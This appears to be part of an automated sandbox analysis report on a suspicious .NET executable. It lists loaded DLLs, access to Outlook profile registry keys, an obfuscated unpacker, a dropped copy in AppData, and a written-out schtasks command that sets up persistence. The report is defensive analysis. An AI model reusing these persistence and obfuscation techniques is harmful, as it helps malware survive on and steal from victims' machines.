Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: z1E-catalogSamples.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z1E-catalogSamples.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, qf3KIIPkQkHyoPCAGD.cs

.Net Code: eKVopiT5yk System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_03040C3D push edi; ret	6_2_03040CC2
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Code function: 6_2_03040C95 push edi; retf	6_2_03040C3A
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_066304E6 push esi; ret	7_2_066304E7
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013D0C3D push edi; ret	12_2_013D0CC2
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D46ED1 push es; ret	12_2_06D46EE0

Source: z1E-catalogSamples.exe	Static PE information: section name: .text entropy: 7.919359410493161
Source: vZkoWbol.exe.0.dr	Static PE information: section name: .text entropy: 7.919359410493161

Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, zsIBsGprx7y00SlIL7.cs	High entropy of concatenated method names: 'WPCeObyGsQ', 'uABeTAh4rM', 'Bkee1cyswW', 'WCjerSFmRu', 'cvXeW9Mjc2', 'LGfegi6soH', 'dFceBuoj3w', 'kM1e3PYeLB', 'kOee5qqjok', 'BqDedL32og'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, VaZUh3SsMeAhplRM43.cs	High entropy of concatenated method names: 'RFi1E1Sdg9', 'FlV1K93LYC', 'RDX12cFZtq', 'kcY1nqIlYn', 'cYn1kGugck', 'i5L1AUu8hX', 'vVp1SxapUF', 'X9L1eXhvKL', 'ipR1hiyRh6', 'S1a1LoT5aG'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, TVTsHyVh9E8nWg1aXa.cs	High entropy of concatenated method names: 'TwxSy4kxva', 'b1eS0qXYPA', 'FDneUEmcpw', 'J87eRl7ODk', 'ErKSi2NABD', 'm6TSYJ8N6t', 'P1uSZ2CZak', 'jCYSJ9HA0s', 'mAHSXIGPG8', 'jL0Sx9XCBO'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, ua5doSJ7xEFnqoqZ3t.cs	High entropy of concatenated method names: 'QeOpZq4tJ', 'JlYET9xkU', 'h4QKAP3NJ', 'XEi70H5lp', 'NOLnuBEVp', 'PYDqYgnYR', 'oKg3Da3te2RM3vKF2K', 'wpb3YEP5oxiNTi2ynd', 'hqCepcruq', 'x2CLYN6sC'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, XNS3vO9VxiNDvVjZ2y.cs	High entropy of concatenated method names: 'jjhgOH5kKq', 'mBVg1SdAhU', 'uawgWd0rsE', 'rfgW07mo97', 'exMWzfiAaP', 'oIIgUdnkpt', 'hyXgRLWrZs', 'CgSgG48xmU', 'F8Tg9q83Fv', 'M9egopu05F'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, bYiFRZ3d8t9GXJpa0hg.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'SGWLJp28tK', 'vYgLXX1OvJ', 'H8qLxWnffG', 'EwPLNeRuPq', 'NKGLbnEwfd', 'D5hLvF91Tf', 'YUjLMcZyw5'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, jL7RclWwY3ulO0Zff7.cs	High entropy of concatenated method names: 'Dispose', 'vgBRVS5UEP', 'm29GfdE9c7', 'eKyttr86Bq', 'LKSR06YuE8', 'ErRRzMJNo4', 'ProcessDialogKey', 'cweGUo1rYP', 'ihtGRWTAf8', 'kEmGG3IF1k'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, Rg4Hth3YWlcNWQjCSnN.cs	High entropy of concatenated method names: 'Yjlh4wd9JJ', 'c51h6uDUZl', 'B3OhpTC4PR', 'bYqhEm88YB', 'm30hHYVeBh', 'lkRhKEUmWU', 'CcXh7fnrh6', 'HAOh2ZW3A4', 'CwvhnBjdOu', 'wXBhqTw49N'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, hBQirUUkqhh6Jbx8WV.cs	High entropy of concatenated method names: 'ToString', 'DQXAiFMEHw', 'ewWAfy8Hdx', 'nuGACaq6Ob', 'WoVAQuF4MP', 'PheAukTI50', 'xgKAjn18PP', 'qBwAPEkHGS', 'aXfAc3mVkt', 'XiSAIql2Yq'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, RoS3anzlodaHo4f0kx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Kcpha5xCKa', 'pKMhkKPWlJ', 'MD7hAuLFQP', 'dvrhSJo14i', 'vGhhegOCs1', 'sxPhhO9dFb', 'PAohLXBLnd'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, GI6qPVywYa6hUIfxPh.cs	High entropy of concatenated method names: 'V1hg44HuJl', 'dygg6KUpZq', 'MC2gpJYnd0', 'lFXgEU2ERp', 'Jy6gHf86Om', 'y3ogKxJKju', 'a8Jg7mRWQl', 'DAvg2CIvvh', 'zMbgnoRmct', 'rlNgq9myNP'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, yXhJbKosLlKpW8rNLB.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'xYhGVfTJV6', 'FHEG0cpLwZ', 'DXhGz16LZp', 'lR79Uk5kfF', 'xs69RbWtoF', 'M8u9GfQ99K', 'IZk99geNe0', 'PBARhyeypwUqAMOEAj3'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, Tlmb0tBy4UyoTJGQIH.cs	High entropy of concatenated method names: 'ikTRgGGyXn', 'vOkRBuoxRH', 'F97R5SNlyl', 'MfARdFVRtg', 'eXQRkChPex', 'S8MRAb2WER', 'AAaLeKUO2TjFLj1GD4', 'YsOXJIwIbTm45ig1Gv', 'CAMRReNyyi', 'IWiR9TXOfb'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, RnrwAqRj72ywa7Gpgw.cs	High entropy of concatenated method names: 'K9prHPZAN3', 'oOar7g68J1', 'x3Z1CVg2NJ', 'G9Q1QpQRVH', 'nnF1uCxFJS', 'tPp1jZoKfS', 'EFx1PPo2hE', 'SGb1ck5DoX', 'Xtv1IdmJmv', 'kJc1FP60ps'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, okO7TJK9dCinF3LmXR.cs	High entropy of concatenated method names: 'qgRe86Wch3', 'OIPefmicdy', 'cDoeCvUklp', 'v1YeQEgPQ5', 'AZ9eJWQgkC', 'tDWeuouigl', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, eBNdtB6YbfWXnOO34y.cs	High entropy of concatenated method names: 'F6yhRQDBtL', 'ftXh9yOOwp', 'F0HhoKLI8t', 'bIehOyoQT1', 'pexhTGcMqq', 'Yyuhru0FOb', 'V6JhWjJqUU', 'EfpeMZZbi7', 'tKney71S21', 'Y9neV0Unof'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, wvggNWtakVgut5bwxI.cs	High entropy of concatenated method names: 'dcekFwM2Gr', 'qcykYs8wnd', 'RGskJD8oYt', 'AjIkXZ0p3K', 'f9bkfLg77S', 'LtbkCQXhYk', 'PfdkQLuxQN', 'kodkuN7rpp', 'r8FkjrUiNr', 'z00kPpLFsa'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, QPjoRCFxAbeZCiTRbI.cs	High entropy of concatenated method names: 'M0uWwxcl8v', 'YkUWTys6ee', 'FHTWru6lvx', 'keoWgVoDPT', 'E6RWBkFoot', 'Mbtrbw5i0F', 'aghrvU6Zyc', 'CrJrMCQxcd', 'MaLryk6PxS', 'WVDrVmwulf'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, PMi9hoic7ZJQUNCSpP.cs	High entropy of concatenated method names: 'aUQa2x6VWD', 'AKxanL9f5Q', 'Fqia8sIRRs', 'AkGaf0JFL9', 'sOCaQLUCNZ', 'LS2auSsLvE', 'MMbaPK8SoW', 'WZBacv6YiD', 'QBeaFNYo8U', 'g5Oaiqv9JB'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, CSOZU5vUWRw9E4Q4d3.cs	High entropy of concatenated method names: 'k5mS56vfUP', 'kjlSdtR0cX', 'ToString', 'Gb2SOEwuRR', 'KuPSTDa7ju', 'a46S1pqmte', 'utvSrSLkTD', 'lYZSWxOOQQ', 'yMeSgL5OaW', 'u3rSBaNIhM'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, WeRTmg58MlbmW9GQYv.cs	High entropy of concatenated method names: 'NqKTJ325CM', 'tnwTXAnDdR', 'KALTxcjlQT', 'V2dTNXnZf8', 'bXkTbwZJAV', 'MkUTvGNGsP', 'YIUTMIrnKt', 'SkxTy3F1t3', 'bjYTV4BaY6', 'ic9T0LgjIg'
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, qf3KIIPkQkHyoPCAGD.cs	High entropy of concatenated method names: 'c2d9wHtSmJ', 'XS69OIMOWH', 'ghN9TbGxmW', 'D6c91Vc6Gy', 'cnn9rV4Ylw', 'K9K9W6FxYE', 'qF89gVT2mY', 'q7N9BLQtl4', 'bmv93ww16i', 'Phc95tV7vX'

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File created: C:\Users\user\AppData\Roaming\vZkoWbol.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
